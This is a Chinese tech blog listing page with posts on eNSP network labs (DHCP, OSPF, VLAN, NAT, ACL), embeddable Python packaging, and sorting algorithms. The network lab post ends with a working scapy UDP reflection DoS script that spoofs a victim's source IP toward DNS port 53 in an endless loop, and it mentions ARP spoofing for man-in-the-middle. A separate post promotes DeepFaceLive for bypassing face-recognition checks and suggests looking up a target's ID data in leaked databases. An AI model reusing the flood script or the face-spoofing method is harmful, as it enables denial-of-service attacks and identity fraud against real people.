宣告网段 [actdream-ar2-rip-1]network 192.168.2.0 // 宣告网段实验效果PC相同IP MAC实验这种情况基本不可能有的,局域网内不可能有相同的IP和MAC,当然要是有人想改那就不一样了,对了就是改IP地址和MAC地址,一开始我在想会发生什么,直到我实验了下发现都能通信!!在Windows上改IP和MAC都是自带的,网上也有很多这样的工具。实验拓扑实验步骤1.三台PC机我都手动配置了IP地址,接下来就到交换机看一下。2.到交换机的终端面板,进入视图输入 dis mac-add 查看交换机的mac缓存表,什么都没有,那是因为我们还没ping 对方,所以并不会广播寻找对方就没有mac缓存表了。3.现在我们用PC3 ping PC2,交换机就会用ARP协议广播问谁是192.168.10.1 请把你的mac地址告诉我,这个时候是192.168.10.1的主机就会把mac给交换机,然后交换机建立mac表,进行通信。4.这个时候我们查交换机的mac表,就会多出两条mac地址。5.我把两台PC机的mac和ip改成相同的,两台PC机同时ping PC2,观察抓包和交换机的mac地址表的变化。6.可以发现两台PC电脑都是可以通信的,要是刷新交换机mac地址显示的话,你会发现接口一下变成e0/0/1接口一下又变成e0/0/3接口,这说明交换机两边都在回应,但这样也不影响我们通信,最多会掉一个包,看视频什么的没任何压力,玩游戏的话有可能会卡一下吧。总结如果内网出现大量的PC伪装成一台电脑的IP和mac,会导致对方的包不断回复给别的主机,导致对方PC断网(自己的想法)。ARP协议这款缺陷比较大,利用好直接玩转局域网,像上面的广播问谁是192.168.10.1 这个时候,要是别人一直发响应包给交换机,说我就是PC2 mac地址是这个,那么别人就会找伪装成PC2与你通信,欺骗网关还能当中间人对吧,流量都从你的电脑经过。DHCP地址分配实验DHCP代理通过三层交换机做中继,获取路由器上dhcp IP地址池,分发给下面的PC机,个人理解有误请指正。实验拓扑实验步骤// AR1 配置 sys // 进入系统模式 dhcp enable // 开启dhcp ip pool vlan10 // 创建vlan10 ip地址池 network 192.168.10.0 mask 24 gateway-list 192.168.10.254 dns-list 8.8.8.8 ip pool vlan20 // 创建vlan20 ip地址池 network 192.168.20.0 mask 24 gateway-list 192.168.20.254 dns-list 8.8.8.8 int g0/0/0 // 配置接口ip ip add 192.168.80.2 26 dhcp select global // 开启全局dhcp ip route-static 0.0.0.0 0 192.168.80.1 // 添加一条静态路由1.先全部设备都开机,好了进路由器配置下dhcp ip地址池,给G0/0/0配置IP地址。// LSW2 配置 sys // 进入系统视图 dhcp enable // 开启dhcp vlan batch 10 20 50 // 创建vlan int vlan 10 // 进入vlan10 ip address 192.168.10.254 255.255.255.0 // 配置分发的ip dhcp select relay // 模式选择relay dhcp relay server-ip 192.168.80.2 // 指定的ip是 g0/0/0 接口上配置的ip int vlan 20 // 相同给vlan20 也配上 ip address 192.168.20.254 255.255.255.0 dhcp select relay dhcp relay server-ip 192.168.80.2 int vlan 50 // 再进入vlan50 配置ip要和g0/0/0接口配置的ip在一个网段内才行。 ip add 192.168.80.1 26 int g0/0/2 // 进入接口 port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过2.再到三层交换机LSW2上配置下中继,给 g0/0/2 接口配置 trunk 模式。// LSW1 配置 sys // 进入系统模式 int g0/0/1 // 配置g0/0/1 与 g0/0/2 一致使用trunk port link-type trunk // 配置接口类型 trunk port trunk allow-pass vlan all // 允许所有vlan通过 int g0/0/2 // 交换机下的接口都配置成access模式就行 port link-type access // 配置接口类型 access port default vlan 10 // 把vlan10加入接口 int g0/0/3 port link-type access // 配置接口类型 access port default vlan 20 // 把vlan20加入接口3.到这里就已经可以自动分配ip地址了,我们到pc机上把dhcp打开让它自动获取。效果1.查看ip地址都有,现在双方都ping一下,可以看到两台PC都可以互相通信的。DHCP分配最简单的dhcp自动分配地址,用接口配置的网关进行分配。实验拓扑实验步骤sys // 进入系统视图 dhcp enable // 开启dhcp功能 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 配置默认网关 dhcp select interface // 选择dhcp接口分配1.到路由器设置下dhcp服务,让他充当dhcp服务器,往下面分配ip地址。2.现在到PC机上设置自动获取,这个时候就可以拿到地址了。3.我们看一下获取成功,这是最简单的一种办法了。OSPF路由实验OSPF相关知识OSPF一种动态路由协议,能动态学习到其他网段的路由。1.无环路:区域内部采用树形算法;区域间采用星型拓扑2.收敛快:相比于其他路由协议能更快速的收敛网络3.扩展性好:当网络规模扩大的时候, OPSF支持多区域可以将一些设备划分在一个区域4.支持认证:增加了网络的安全性实验拓扑实验步骤// AR2 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 192.168.10.254 24 // 配置192.168.10.1网段的路由网关 int g0/0/0 // 进入接口 ip add 200.10.20.1 24 // 配置 AR2路由器 与 AR3 之间通信的ip地址 (要在同一网段)// AR3 配置 sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.20.2 24 // 配置 AR3路由器 与 AR2 之间通信的ip地址 int g0/0/1 ip add 200.10.30.1 24 // 配置 AR3路由器 与 AR4 之间通信的ip地址 (要在同一网段)// AR4 配置 sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.30.2 24 // 配置 AR4路由器 与 AR3 之间通信的ip地址 int g0/0/2 // 进入接口 ip add 192.168.20.254 24 // 配置192.168.20.1网段的路由网关1.我先把路由器的ip地址和pc的ip地址都配置一下,pc机的网关要填对哦。// AR2 配置 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 看AR2路由器有两个线一头是 192.168.10.254 network 200.10.20.0 0.0.0.255 // 另一头是 200.10.20.0 直接进行宣告就行// AR3 配置 // 下面的操作都是一样的,改下宣告的网段就行 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.255// AR4 配置 ospf area 0 network 192.168.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2552.现在到路由器里配置ospf,进入ospf视图里用 network 命令宣告网段,这里填的是网段加子网掩码的反码,到这里就已经配置好了ospf路由了,可以在路由器里用效果1.测试下能不能ping通对方,可以看到都是没问题的。链路聚合实验简介链路聚合的作用 :把多个物理接口绑定成一个逻辑接口,对于带宽何链路的可靠性做提升,若其中一端口出现故障,则该成员端口的流量就会切换到成员链路中去。保障了网络传输的可靠性。简单来说就是多连两根线,把这些线都绑定到一个逻辑接口上,要是其中有一条线出问题了,那么另外一条线就会自动补上,不影响网络的通信。实验拓扑实验步骤// LSW5 配置 sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 1 // LSW6 配置 (相同的) sys int eth-trunk 1 mode lacp-static max active-linknumber 2 int e0/0/1 eth-trunk 1 int e0/0/2 eth-trunk 1 int e0/0/3 eth-trunk 11.先到交换机上配置下链路聚合,把它加到这三根线上。2.配置好再到交换机用 dis trunkmembership eth-trunk 1 这条命令看下状态,可以看到有两条线是开的,一条线是关的。int e0/0/2 // 进入e0/0/2接口 shutdown // 关闭接口 undo shutdown // 启动接口3.我们尝试关闭e0/0/2接口,看看e0/0/3会不会自动补上,进入e0/0/2 输入shutdown 接口就关闭了,和我想的一样自动补上了,看到e0/0/3 状态从down 切换到了 up 状态。效果1.关掉了其中一个接口,没有影响到他们的的通信,一个包都没丢。端口安全实验简介简单来说在公司的网络环境中,为了防外部人员接入公司内部网络,在交换机上给端口都绑定上指定PC的Mac地址,防止非法计算机接入。实验拓扑实验步骤1.PC机上我都手动配置好了IP地址,现在用PC机互相Ping让交换机学习下Mac地址建立mac表。2.到交换机使用 dis mac-add 查看mac地址表,发现三台PC机都有了。3.这里为了演示我就给PC1绑定下MAC地址,其他的PC都是一样的操作。sys // 进入系统视图 int e0/0/1 // 进入接口 port-security enable // 开启端口安全 port-security mac-address sticky port-security mac-address sticky 5489-9865-40F1 vlan 1 // 绑定mac4.没改PC1 Mac地址 尝试 ping PC2,毫无疑问是可以通信的。5.现在改下Pc1的mac地址,看下能不能通信。6.改完之后很显然是不能通信实验成功。VLAN隔离实验简介简单的来说,IP地址是否属于同一子网络是根据子网掩码来决定的,如果两台PC的IP地址是一个网段的话那么可以正常通信,要是我想实现一个网段的但又不想让他们互相通信,那怎么办呢这里就要用到vlan技术了,他可以实现对IP逻辑上的隔离。实验拓扑实验步骤1.比较简单,这里就全设置了下创建了两个vlan 10 和 20, 并把vlan加入四台PC机指定的端口上。sys // 进入系统视图 vlan batch 10 20 // 批量创建vlan interface Ethernet0/0/1 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/2 port link-type access // 模式改成 access port default vlan 10 // 把vlan10加入接口里 interface Ethernet0/0/3 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里 interface Ethernet0/0/4 port link-type access // 模式改成 access port default vlan 20 // 把vlan20加入接口里2.PC1 ping PC2 可以发现是通的,他们是属于vlan 10 的所以可以,要是PC1 ping PC3 就不行了。 3.这就是vlan的隔离,不配置vlan 是可以通信的,因为是一个网段的。动态NAT实验简介简单来说,当我们访问公网某台服务器时,我们内网IP要从路由器出去利用NAT技术,将内网IP转换为公网IP进行访问,当数据到达公网的服务器上给我们做返回,就会把数据发给转换的公网地址,让他找到内网发数据的主机传达给他,这样就实现了内网和外网的通信,IPv4本来已经枯竭了,就是有这项技术还是在用IPv4。实验拓扑实验步骤1.老规矩先手动配置下PC机的IP地址好通信。2.上AR2路由器上配置两端的接口,让路由器之间可以互相通信。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.2 24 // 给公网接口添加IP地址 int g0/0/0 // 进入接口 ip add 192.168.10.254 24 // 给内网接口添加IP地址3.再配置下OSPF宣告一下网段,让他们之间可以通信。(我的思路是这样)ospf // 进入ospf area 0 // 区域设置 0 network 192.168.10.0 0.0.0.255 // 宣告内网网段 network 200.10.10.0 0.0.0.25 // 宣告公网网段4.配置好了OSPF就可以通信了,但这里出去的地址是内网地址,我们抓包看下ICMP出去的IP地址。5.可以看到出路由器的地址是内网IP,在现实环境中那是不可能的,所以这里要做动态NAT地址转换。nat address-group 1 200.10.10.3 200.10.10.10 // 创建地址组 设置公网分配范围 acl 2000 // 进入基本acl rule permit source 192.168.10.0 0.0.0.255 // 创建规则 int g0/0/1 // 进入接口 nat outbound 2000 address-group 1 no-pat // 把出口 200与ip组绑定 配置在接口上6.配置好再抓包ping 公网发现内网IP转换为公网IP地址了。静态NAT实验简介简单来说就是内网有一台服务器或者多台,需要让公网访问的到这时就要用到静态NAT技术把内网映射到公网上。实验拓扑实验步骤1.老规矩先手动配置下服务器和PC机的IP地址 好进行通信,这里的标签我写错了AR3下面G0/0/0,现改成 200.10.20.254。2.先到AR2路由器里配置下两端的IP地址,加上OSPF建立下邻居关系。sys // 进入系统视图 int g0/0/0 // 进入接口 ip add 200.10.10.2 24 // 添加IP地址 int g0/0/1 ip add 192.168.10.254 24 int g0/0/2 ip add 8.8.8.1 24 ospf // 进入ospf area 0 // 区域设置0 network 192.168.10.0 0.0.0.255 // 宣告网段 network 200.10.10.0 0.0.0.25 network 8.8.8.0 0.0.0.2553.然后再到AR3路由器里配置下,接口通信的IP地址,加上OSPF宣告下网段。sys // 进入系统视图 int g0/0/1 // 进入接口 ip add 200.10.10.1 24 // 配置ip地址 ospf area 0 network 200.10.10.0 0.0.0.255 network 200.10.20.0 0.0.0.2554.配置好基本上内网服务器能ping通外网了,现在给AR2路由器做下静态NAT。5.再到dns服务器上,添加下内网服务器映射的公网IP与域名进行绑定,好了之后记得把服务器都启动起来。6.再去 Client1上配置好DNS地址,可以自己测试 ping dns 看看能不能通信。7.全都配置好后,就可以获取内网服务器的服务数据了。ACL访问控制实验简介ACL是访问控制列表,它是一种包过滤防火墙,路由器和交换机接口的指令列表,有了它可以实现数据包出入的控制,它分为基本acl和高级acl,这里就实现个基本acl。实验拓扑实验步骤1.手动配置下IP地址和网关,这样才可以进行通信。2.进入AR1路由器给两边的接口,配置下IP地址先然后它们就可以通信了。3.有PC1 ping PC2 发现是可以通信的,接下来配置下基本acl阻止PC1与PC2之间的通信。acl 2000 // 配置基本acl rule 15 deny source 192.168.10.0 0.0.0.255 int g0/0/0 // 进入接口 traffic-filter outbound acl 2000 // 配置出站过滤4.配置好acl,在里面添加网段 192.168.10.0,阻止这所有的主机,当然也可以指定IP地址了。5.配置好后尝试ping,发现不能通信了实验成功。FTP文件上传实验简介FTP服务器,是在互联网上提供存储空间的计算机,它们依照FTP协议提供服务,全称是File Transfer Protocol(文件传输协议),简单的来说,就是一台服务器专门用存储文件的也可以用来共享。实验拓扑实验步骤1.老规矩先手动配置下IP地址,这样才能通信。2.再配置下路由器旁边的接口ip地址。int g0/0/0 // 进入接口 ip add 192.168.2.254 24 // 配置FTP服务器网关 int g0/0/1 // 进入接口 ip add 192.168.3.254 24 // 配置设备网关3.再到FTP服务器设置面板,选择文件路径并开启FTP服务器。4.好了之后,使用Client1 ping ftp服务器看看能不能通信,可以看到是可以的。ftp 192.168.2.3 User(192.168.2.3:(none)):act // 第一次会让你配置下账号密码 331 Password required for act . Enter password: // 输入密码5.再回到路由器连接下FTP服务器,配置下账号和密码。6.然后输入在路由器更改的账号和密码,用设备进行登录就成功了,就可以上传文件和下载文件了。UDP反射攻击实验简介UDP 反射攻击的基本原理是,攻击者发送伪造的 UDP 请求数据包到反射主机,并将源 IP 地址伪造为受害主机的地址,反射主机接收请求后,会将数据包转发给受害主机,这样就能对受害主机进行拒绝服务攻击,当然你可以批量的反射那么就有多台主机进行攻击。实验拓扑这里只是拿eNSP打个比方,服务并没开UDP 53端口,所以攻击不成立,对方必须开启UDP 端口,你才能进行反射攻击。通过发起攻击抓包可以发现,反射的 1.2 PC 与 1.4 主机,都进行发送响应给 1.3 PC 主机,实验目的达成。UDP反射代码import threading from scapy.all import * payload = '0' * 1400 # 构造一个长度为 1400 字节的字符串 def send_packet(src_ip): packet = IP(src="192.168.1.3", dst=src_ip) / \ UDP(dport=53, sport=RandShort()) / \ Raw(load=payload) send(packet) hosts = ["192.168.1.2", "192.168.1.4"] while True: for src_ip in hosts: t = threading.Thread(target=send_packet, args=(src_ip,)) t.start() t.join()
2022年11月03日
654 阅读
0 评论
124 点赞
2022-11-02
【技术分享】Python3 嵌入式打包
简介在打包软件一般都是用pyinstaller这个工具,但它满足不了我们的要求,有时候还会出很多问题,官方特意给我门提供一个内嵌打包的Python环境。Python是一门解释语言,打包也会带有一个解释器,别人运行了你打包好的exe,就会在他计算机内释放解释器,然后用解释器执行脚本(简单说)。而内嵌式打包是官方给我提供的一个Python解释器,这里他除去了很多不必要的东西,相当于是绿色版Python特别方便。安装步骤1.首先先到 Python官网 https://www.python.org 在页面中找到Downloads选择Windows点进去。2.这里建议下载的python不要使用最新版,因为很多库都是没有更新到容易出错,这里我选择下载 Windows embeddable package (32-bit)。3.下载好了后将里面的文件解压出来,在里面新建一个名为 get-pip.py 文件。4.打开 get-pip.py 将这个网站 https://bootstrap.pypa.io/get-pip.py 的内容复制到文本里保存。5.用终端进入解压python的目录里,输入 python get-pip.py (记住一定要在这个解压的python根目录下),这个时候就会从官方那里下载两个文件夹,一个是Lib通过pip下载的第三方模块都在这里面,另一个Scripts是脚本里面包含了pip一些工具。python get-pip.py 6.找到.pth后缀文件,# import site 这行的注释 # 去掉然后保存就可以了。7.在根目录里启动终端输入Python,发现可以使用了尝试导入第三方库 requests库,发现报错了那是因为我们没有安装。8.现在去Scripts文件夹下启动终端,输入pip install request回车,下载好的第三方库都会下载到Lib文件夹内。pip install requests9.再次启动终端输入Python,再次导入模块发现已经可以用了,这个时候你写的Python源码可以放在这里面,再写个bat批处理一键运行,就可以发给别人了~@echo off chcp 65001 .\ws\python.exe test.txt pause
2022年11月02日
165 阅读
0 评论
8 点赞
2022-10-26
【每日随记】Deepface AI换脸绕过人脸识别
简介什么是Ai? 顾名思义:Artificial Intelligence(人工智能),我们一般称为AI。并且它是一门用于研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学。但从名字而言,顾名思义,也就是人通过工作而出现的一种高端智能科学。案例1.像这种人脸伪造案件其实是有过的,在这里提醒各位,技术本无罪 切勿触碰法律底线。了解学习网络安全的我,对Ai上的攻防也是比较感兴趣的,可以发现生活越来科技化了我们自然是离不开网络,网络安全这也是重要的防线,像游戏防成谜和修改账号密码等操作,一些app都会有人脸识别的影子,而识别是通过机器检测的,这可是一个缺陷机器可不像我们人,换没换过脸它可不知道,你的脸和要检测的对象所匹配满足了要求,眨眼睛、转头、等操作那就认证成功。通过Ai换脸技术伪造一个人,需要知道对方的一些信息,如身份证 利用社工库搜索一个人,有身份证就行伪造人脸。DeepfaceLive1.今天的主角DeepfaceLive,它是开源的工具编写语言是Python,这软件比较强大可以伪造人脸,也可以通过一张图片,直接捕捉你的表情动作驱动图像的动作,由于是开源的不需要付费,直接在Github上下载即可。DeepfaceLive:https://github.com/iperov/DeepFaceLive1.1.往下滑找到Releases下载这个,是编译好的不需要安装任何环境,记得科学上网获取到直链用迅雷下载这样快一点。1.2.还有一款是DeepFaceLab比Live更成熟些,都可以下载玩玩的。DeepFaceLab:https://github.com/iperov/DeepFaceLab2.这里有两个功能,人脸交换器是通过模型进行替换人脸,试了下效果还是可以的,第二个是一张图片就能驱动(可以自己加人脸图片),而模型是要自己训练的,训练步骤请参考DeepfaceLive文档。3.这里我都演示了一下,感兴趣的话可以自己试下,功能还是挺全的还可以用来直播,里面都是可以设置的。视频教程{dplayer src="https://www.52tt.pro/usr/uploads/2022/10/1026.mp4"/}4.看了B站上没人发过这类的东西,本想上传B站上结果过不了审核上传了几次都不行,算了视频就放在博客里了。
2022年10月26日
407 阅读
0 评论
22 点赞
2022-09-30
【技术分享】十大排序算法篇
排序算法分类非线性时间比较类排序:比较来绝定元素间的相对次序,时间复杂度不能突破O(nlogn)。所以称非线性时间比较类排序。线性时间非比较类排序:不通过比较来决定元素间的相对次序。可以突破基于比较排序的时间下界以线性时间运行,所以称为线性时间非比较类排序。排序算法概述常见的有 快速排序、归并排序、堆排序以及冒泡排序 都属于比较类排序算法。比较类排序是通过比较来决定元素间的相对次序,时间复杂度不能突破 O(nlogn),因此也称为非线性时间比较类排序。在冒泡排序之类的排序中,问题规模为 n,又因为需要比较 n 次,所以平均时间复杂度为 O(n²)。在归并排序、快速排序之类的排序中,问题规模通过分治法消减为 logn 次,所以时间复杂度平均 O(nlogn)。比较类排序的优势是,适用于各种规模的数据,也不在乎数据的分布,都能进行排序。可以说,比较排序适用于一切需要排序的情况。计数排序、基数排序、桶排序 则属于非比较类排序算法。非比较排序不通过比较来决定元素间的相对次序,而是通过确定每个元素之前,应该有多少个元素来排序。由于它可以突破基于比较排序的时间下界,以线性时间运行,因此称为线性时间非比较类排序。非比较排序只要确定每个元素之前的已有的元素个数即可,所有一次遍历即可解决。算法时间复杂度 O(n)。冒泡排序 (Bubble Sort)冒泡排序是一种简单的排序算法算法原理:重复地遍历待排序的序列,依次比较两个元素,如果它们的顺序错误就把它们交换过来。遍历序列的工作是重复地进行直到没有再需要交换为止,此时说明该序列已经排序完成。# 第一种 def Bubble_sort(nums): for j in range(len(nums)-1,0,-1): for i in range(j): if nums[i] > nums[i + 1]: nums[i], nums[i+1] = nums[i +1], nums[i] array = [5,9,1,3,0,7,6] Bubble_sort(array) print(array) # 第二种 array = [3,2,5,6,4,8] for i in range(0, len(array)-1): for j in range(0, len(array)-1): if array[j] > array[j+1]: array[j], array[j+1] = array[j+1], array[j] print(array) # 第三种 array = [3,2,5,6,4,8] res = [ array.pop(array.index(min(array))) for i in range(len(array)) ] print(res)快速排序(Quick Sort)算法原理:快速排序使用分治法(Divide and conquer)策略来把一个序列分为较小和较大的 2 个子序列,然后递回地排序两个子序列。def partition(li,left,right): tmp = li[left] while left < right: while left < right and li[right] >= tmp: #从右边找比tmp小的数 right -= 1 #继续从右往左查找 li[left] = li[right] #把右边的值写到左边空位上 while left < right and li[left] <= tmp: left += 1 li[right] = li[left] #把左边的值写到右边空位上 li[left] = tmp #把tmp归位 return left def quick_sort(li,left,right): if left < right :#至少两个元素 mid = partition(li,left,right) quick_sort(li,left,mid-1) quick_sort(li,mid+1,right) li = [5,7,4,6,3,1,2,9,8] quick_sort(li,0,len(li)-1) print(li)选择排序(Selection Sort)算法原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。重复第 2 步,直到所有元素均排序完毕。def selection_sort(num_list): length = len(num_list) if length <= 1: return num_list for j in range(length): # 假设第一个元素为最小元素 min_num_index = j # 遍历未排序区域元素,以此和未排序区域的第一个元素做对比 for i in range(j+1, length): if num_list[i] < num_list[min_num_index]: min_num_index = i # 交换位置 num_list[min_num_index], num_list[j] = num_list[j], num_list[min_num_index] return num_list array = [1, 3, 2, 6, 4, 12, 33, 5, 25] print(selection_sort(array))插入排序(Insertion Sort)算法原理:从第一个元素开始,该元素可以认为已经被排序;取出下一个元素,在已经排序的元素序列中从后向前扫描;如果该元素(已排序)大于新元素,将该元素移到下一位置;重复步骤 3,直到找到已排序的元素小于或者等于新元素的位置;将新元素插入到该位置后;重复步骤 2~5。def insert_sort(tg): for i in range(1, len(tg)): for j in range(i, 0, -1): if tg[j] < tg[j-1]: tg[j-1], tg[j] = tg[j], tg[j-1] else: break array = [8,7,5,4,6,3,1] insert_sort(array) print(array)归并排序(Merge Sort)算法原理:如果输入内只有一个元素,则直接返回,否则将长度为 n 的输入序列分成两个长度为 n/2 的子列;分别对这两个子序列进行归并排序,使子序列变为有序状态;设定两个指针,分别指向两个已经排序子序列的起始位置;比较两个指针所指向的元素,选择相对小的元素放入到合并空间(用于存放排序结果),并移动指针到下一位置;重复步骤 3 ~4 直到某一指针达到序列尾;将另一序列剩下的所有元素直接复制到合并序列尾def merge(left, right): # 合并两个有序列表 res = [] while len(left) > 0 and len(right) > 0: if left[0] < right[0]: res.append(left.pop(0)) else: res.append(right.pop(0)) if left: res.extend(left) if right: res.extend(right) return res def mergeSort(arr): # 归并函数 n = len(arr) if n < 2: return arr middle = n // 2 left = arr[:middle] # 取序列左边部分 right = arr[middle:]# 取序列右边部分 # 对左边部分序列递归调用归并函数 left_sort = mergeSort(left) # 对右边部分序列递归调用归并函数 right_sort = mergeSort(right) # return merge(left_sort, right_sort) array = [8,7,5,4,6,3,1] print(mergeSort(array))计数排序(Counting Sort)算法原理:找出数组中的最大值 max、最小值 min;创建一个新数组 C,其长度是 max-min+1,其元素默认值都为 0;遍历原数组 A 中的元素 A[i],以 A[i]-min 作为 C 数组的索引,以 A[i] 的值在 A 中元素出现次数作为 C[A[i]-min] 的值;对 C 数组变形,新元素的值是该元素与前一个元素值的和,即当 i>1 时 C[i] = C[i] + C[i-1];创建结果数组 R,长度和原始数组一样。从后向前遍历原始数组 A 中的元素 A[i],使用 A[i] 减去最小值 min 作为索引,在计数数组C 中找到对应的值 C[A[i]-min],C[A[i]-min]-1 就是 A[i] 在结果数组 R 中的位置,做完上述这些操作,将 count[A[i]-min] 减小 1。def count_sort(nums): # 最大值-最小值+1的数组,初始值为0 bucket = [0] * (max(nums) - min(nums) + 1) # 统计原数组中每个元素出现的个数,存储在新开辟的数组中 for num in nums: bucket[num - min(nums)] += 1 # nums的下标 i = 0 # 根据每个元素出现的次数,按照新开辟数组的元素从小到大依次填充到原来的数组中 for j in range(len(bucket)): while bucket[j] > 0: nums[i] = j + min(nums) bucket[j] -= 1 i += 1 return nums array = [8,7,5,4,6,3,1] print(count_sort(array))桶排序(Bucket Sort)设置一个 BucketSize,作为每个桶所能放置多少个不同数值;遍历输入数据,并且把数据依次映射到对应的桶里去;对每个非空的桶进行排序,可以使用其它排序方法,也可以递归使用桶排序;从非空桶里把排好序的数据拼接起来。def bucketSort(nums): # 选择一个最大的数 max_num = max(nums) # 创建一个元素全是0的列表, 当做桶 bucket = [0] * (max_num + 1) # 把所有元素放入桶中, 即把对应元素个数加一 for i in nums: bucket[i] += 1 # 存储排序好的元素 sort_nums = [] # 取出桶中的元素 for j in range(len(bucket)): if bucket[j] != 0: for y in range(bucket[j]): sort_nums.append(j) return sort_nums array = [8,7,5,4,6,3,1] print(bucketSort(array))基数排序(Radix Sort)算法原理:取得数组中的最大数,并取得位数,即为迭代次数 N(例如:数组中最大数值为 1000,则 N=4);A 为原始数组,从最低位开始取每个位组成 radix 数组;对 radix 进行计数排序(利用计数排序适用于小范围数的特点);将 radix 依次赋值给原数组;重复 2~4 步骤 N 次def radix_sort(s): i = 0 # 记录当前正在排拿一位,最低位为1 max_num = max(s) # 最大值 j = len(str(max_num)) # 记录最大值的位数 while i < j: bucket_list =[[] for _ in range(10)] #初始化桶数组 for x in s: bucket_list[int(x / (10**i)) % 10].append(x) # 找到位置放入桶数组 s.clear() for x in bucket_list: # 放回原序列 for y in x: s.append(y) i += 1 array = [8,7,5,4,6,3,1] radix_sort(array) print(array)希尔排序(Shell Sort)算法原理:选择一个增量序列 {t1, t2, …, tk},其中 (ti>tj, i<j, tk=1);按增量序列个数 k,对序列进行 k 趟排序;每趟排序,根据对应的增量 t,将待排序列分割成若干长度为 m 的子序列,分别对各子表进行直接插入排序。仅增量因子为 1 时,整个序列作为一个表来处理,表长度即为整个序列的长度。def ShellSort(nums): step = len(nums)//2 #初始化增量为数组长度的一半 while step > 0: #增量必须是大于0的整数 for i in range(step,len(nums)): #遍历需要进行插入排序的数 ind = i while ind >= step and nums[ind] < nums[ind-step]: #对每组进行插入排序 nums[ind],nums[ind-step] = nums[ind-step],nums[ind] ind -= step step //= 2 #增量缩小一半 return nums array = [8,7,5,4,6,3,1] ShellSort(array) print(array)堆排序(Heapsort)创建一个堆 H[0……n-1];把堆首(最大值)和堆尾互换;把堆的尺寸缩小 1,并调用 shift_down(0),目的是把新的数组顶端数据调整到相应位置;重复步骤 2,直到堆的尺寸为 1。import math def buildMaxHeap(arr): for i in range(math.floor(len(arr)/2),-1,-1): heapify(arr,i) def heapify(arr, i): left = 2*i+1 right = 2*i+2 largest = i if left < arrLen and arr[left] > arr[largest]: largest = left if right < arrLen and arr[right] > arr[largest]: largest = right if largest != i: swap(arr, i, largest) heapify(arr, largest) def swap(arr, i, j): arr[i], arr[j] = arr[j], arr[i] def heapSort(arr): global arrLen arrLen = len(arr) buildMaxHeap(arr) for i in range(len(arr)-1,0,-1): swap(arr,0,i) arrLen -=1 heapify(arr, 0) return arr array = [8,7,5,4,6,3,1] print(heapSort(array)){dotted startColor="#ff6c6c" endColor="#1989fa"/}以下排序不在内TimSortdef binary_search(lst, item, start, end): if start == end: return start if lst[start] > item else start + 1 if start > end: return start mid = (start + end) // 2 if lst[mid] < item: return binary_search(lst, item, mid + 1, end) elif lst[mid] > item: return binary_search(lst, item, start, mid - 1) else: return mid def insertion_sort(lst): length = len(lst) for index in range(1, length): value = lst[index] pos = binary_search(lst, value, 0, index - 1) lst = lst[:pos] + [value] + lst[pos:index] + lst[index + 1 :] return lst def merge(left, right): if not left: return right if not right: return left if left[0] < right[0]: return [left[0]] + merge(left[1:], right) return [right[0]] + merge(left, right[1:]) def tim_sort(lst): """ >>> tim_sort("Python") ['P', 'h', 'n', 'o', 't', 'y'] >>> tim_sort((1.1, 1, 0, -1, -1.1)) [-1.1, -1, 0, 1, 1.1] >>> tim_sort(list(reversed(list(range(7))))) [0, 1, 2, 3, 4, 5, 6] >>> tim_sort([3, 2, 1]) == insertion_sort([3, 2, 1]) True >>> tim_sort([3, 2, 1]) == sorted([3, 2, 1]) True """ length = len(lst) runs, sorted_runs = [], [] new_run = [lst[0]] sorted_array = [] i = 1 while i < length: if lst[i] < lst[i - 1]: runs.append(new_run) new_run = [lst[i]] else: new_run.append(lst[i]) i += 1 runs.append(new_run) for run in runs: sorted_runs.append(insertion_sort(run)) for run in sorted_runs: sorted_array = merge(sorted_array, run) return sorted_array def main(): lst = [5, 9, 10, 3, -4, 5, 178, 92, 46, -18, 0, 7] sorted_lst = tim_sort(lst) print(sorted_lst) if __name__ == "__main__": main()Stoogesortdef stooge_sort(arr): """ Examples: >>> stooge_sort([18.1, 0, -7.1, -1, 2, 2]) [-7.1, -1, 0, 2, 2, 18.1] >>> stooge_sort([]) [] """ stooge(arr, 0, len(arr) - 1) return arr def stooge(arr, i, h): if i >= h: return # If first element is smaller than the last then swap them if arr[i] > arr[h]: arr[i], arr[h] = arr[h], arr[i] # If there are more than 2 elements in the array if h - i + 1 > 2: t = (int)((h - i + 1) / 3) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) # Recursively sort last 2/3 elements stooge(arr, i + t, (h)) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) if __name__ == "__main__": user_input = input("Enter numbers separated by a comma:\n").strip() unsorted = [int(item) for item in user_input.split(",")] print(stooge_sort(unsorted))
2022年09月30日
478 阅读
0 评论
52 点赞
1
2
3
0:00